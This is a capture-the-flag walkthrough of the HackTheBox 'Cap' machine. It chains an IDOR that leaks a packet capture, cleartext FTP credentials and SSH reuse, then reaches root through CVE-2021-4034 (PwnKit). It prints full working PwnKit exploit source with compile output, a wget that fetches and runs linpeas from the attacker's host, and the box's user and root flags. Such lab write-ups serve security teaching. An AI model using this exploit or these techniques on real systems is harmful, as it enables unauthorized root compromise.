HackTheBox Cap (Linux Room) — Full Walkthrough
In this write-up, we walk through Cap, an easy-rated machine that demonstrates how sensitive data exposure and poor service configuration can lead to full system compromise.
The box highlights:
Packet capture analysis
Credential reuse
SSH access
Privilege escalation via CVE-2021-4034 (PwnKit)
Enumeration
Nmap Scan
┌──(unknown㉿kali)-[~/HTB/cap]
└─$ nmap -sVC -oN nmap.txt -v 10.129.8.9
# Nmap 7.95 scan initiated Sat Feb 28 16:02:21 2026 as: /usr/lib/nmap/nmap -sVC -oN nmap.txt -v 10.129.8.9
Nmap scan report for cap.htb (10.129.8.9)
Host is up (0.64s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http Gunicorn
|_http-server-header: gunicorn
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-title: Security Dashboard
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Key Findings:
FTP (21)
SSH (22)
HTTP (80) running Gunicorn
Linux system
Port 80 — HTTP Enumeration
While browsing the site, we discovered a page that allows changing the ID parameter:
http://cap.htb/data/2
After modifying the ID multiple times, we noticed that id=0 returns downloadable packet capture data.
We downloaded the .pcap file and analyzed it using Wireshark.
Wireshark Analysis
Upon inspecting the traffic, we found FTP communication in cleartext.
FTP Password
We can clearly see:
PASS Buck3tH4TF0RM3!
FTP Username
We also see:
USER nathan
So we successfully captured:
nathan:Buck3tH4TF0RM3!
Using The new creds obtained, lets access ftp
Port 21 — FTP Access
┌──(unknown㉿kali)-[~/HTB/cap]
└─$ cat creds
nathan:Buck3tH4TF0RM3!
┌──(unknown㉿kali)-[~/HTB/cap]
└─$ ftp cap.htb
Connected to cap.htb.
220 (vsFTPd 3.0.3)
Name (cap.htb:unknown): nathan
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
We are in.
Finding the User Flag
ftp> ls
229 Entering Extended Passive Mode (|||55903|)
150 Here comes the directory listing.
-r-------- 1 1001 1001 33 Mar 01 11:11 user.txt
226 Directory send OK.
ftp> get user.txt
┌──(unknown㉿kali)-[~/HTB/cap]
└─$ cat user.txt
609a7a7b20ae3ea0d6d2634af597eded
User flag obtained.
Port 22 — SSH Access
Since credentials worked for FTP, we attempted SSH login using the same credentials.
┌──(unknown㉿kali)-[~]
└─$ ssh nathan@cap.htb
Login successful.
nathan@cap:~$ id
uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)
Now it’s time for privilege escalation.
Privilege Escalation
Linpeas
Lets transfer linpeas to the target machine to see how we can escalate privs
┌──(unknown㉿kali)-[~/HTB/cap]
└─$ cp /usr/share/peass/linpeas/linpeas.sh .
┌──(unknown㉿kali)-[~/HTB/cap]
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Downloaded it on target machine and executed:
nathan@cap:/$ cd /home/nathan
nathan@cap:~$ ls
user.txt
nathan@cap:~$ wget http://10.10.16.215/linpeas.sh
--2026-03-01 11:58:35-- http://10.10.16.215/linpeas.sh
Connecting to 10.10.16.215:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 971926 (949K) [application/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 100<a class="embed-card" href="===============================>">===============================></a> 949.15K 202KB/s in 5.3s
2026-03-01 11:58:41 (181 KB/s) - ‘linpeas.sh’ saved [971926/971926]
nathan@cap:~$ chmod +x linpeas.sh
nathan@cap:~$ ./linpeas.sh
CVE-2021-4034 — PwnKit
Linpeas revealed:
nathan@cap:~$ ls -al /usr/bin/pkexec
-rwsr-xr-x 1 root root 31032 Aug 16 2019 /usr/bin/pkexec
pkexec is:
SUID
Running as root
Vulnerable version (0.105)
This is the well-known PwnKit vulnerability, which allows local privilege escalation to root by exploiting improper argument handling in pkexec.
Necessary Links
To better understand the vulnerability and follow along with the exploitation process, the following resources were used:
These references explain:
What PwnKit is
Why
pkexecis vulnerableHow environment variable manipulation leads to privilege escalation
Preparing the Exploit
Notice the exploit code is present on the page. (https://packetstorm.news/files/id/165739 )
We will save the exploit code into individual files.
- Save the code corresponding to
Makefile,evil-so.c, andexploit.cinto their respective files:
┌──(unknown㉿kali)-[~/HTB/cap]
└─$ cat makefile
##### Makefile #####
all:
gcc -shared -o evil.so -fPIC evil-so.c
gcc exploit.c -o exploit
clean:
rm -r ./GCONV_PATH=. && rm -r ./evildir && rm exploit && rm evil.so
#################
┌──(unknown㉿kali)-[~/HTB/cap]
└─$ cat evil-so.c
##### evil-so.c #####
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv() {}
void gconv_init() {
setuid(0);
setgid(0);
setgroups(0);
execve("/bin/sh", NULL, NULL);
}
#################
┌──(unknown㉿kali)-[~/HTB/cap]
└─$ cat exploit.c
##### exploit.c #####
#include <stdio.h>
#include <stdlib.h>
#define BIN "/usr/bin/pkexec"
#define DIR "evildir"
#define EVILSO "evil"
int main()
{
char *envp[] = {
DIR,
"PATH=GCONV_PATH=.",
"SHELL=ryaagard",
"CHARSET=ryaagard",
NULL
};
char *argv[] = { NULL };
system("mkdir GCONV_PATH=.");
system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
system("mkdir " DIR);
system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
system("cp " EVILSO ".so " DIR);
execve(BIN, argv, envp);
return 0;
}
#################
⚠ Note:
I kept the hashtags only to show how it is structured. You should remove them before running make all, otherwise it will produce an error.
Compiling the Exploit
Now we compile the exploit:
nathan@cap:~/exploit$ make all
gcc -shared -o evil.so -fPIC evil-so.c
evil-so.c: In function ‘gconv_init’:
evil-so.c:10:5: warning: implicit declaration of function ‘setgroups’; did you mean ‘getgroups’? [-Wimplicit-function-declaration]
10 | setgroups(0);
| ^~~~~~~~~
| getgroups
evil-so.c:12:5: warning: null argument where non-null required (argument 2) [-Wnonnull]
12 | execve("/bin/sh", NULL, NULL);
| ^~~~~~
gcc exploit.c -o exploit
exploit.c: In function ‘main’:
exploit.c:25:5: warning: implicit declaration of function ‘execve’ [-Wimplicit-function-declaration]
25 | execve(BIN, argv, envp);
| ^~~~~~
nathan@cap:~/exploit$ ls
evil-so.c evil.so exploit exploit.c makefile
The warnings are expected and do not prevent the exploit from working.
We now have:
evil.so(malicious shared object)exploit(compiled exploit binary)
Gaining Root Access
Before running the exploit:
nathan@cap:~/exploit$ id
uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)
Now we execute it:
nathan@cap:~/exploit$ ./exploit
# id
uid=0(root) gid=0(root) groups=0(root)
We are root.
Root Flag
root@cap:/root# cat root.txt
ffe248e467882e5444397f622891bd3e
This was a relatively easy box, but it demonstrates an important real-world lesson:
Exposed packet captures can leak credentials
FTP transmits credentials in cleartext
Credential reuse across services increases impact
Unpatched SUID binaries (like pkexec) can lead to full system compromise
Even simple misconfigurations can result in complete takeover when chained together properly.
After reading a few other writeup's regarding this box, there is another SUID binary that is vulnerable as well (python3) which would probably be easier to exploit by checking GTFOBins. This is just the method i went for, both are fine.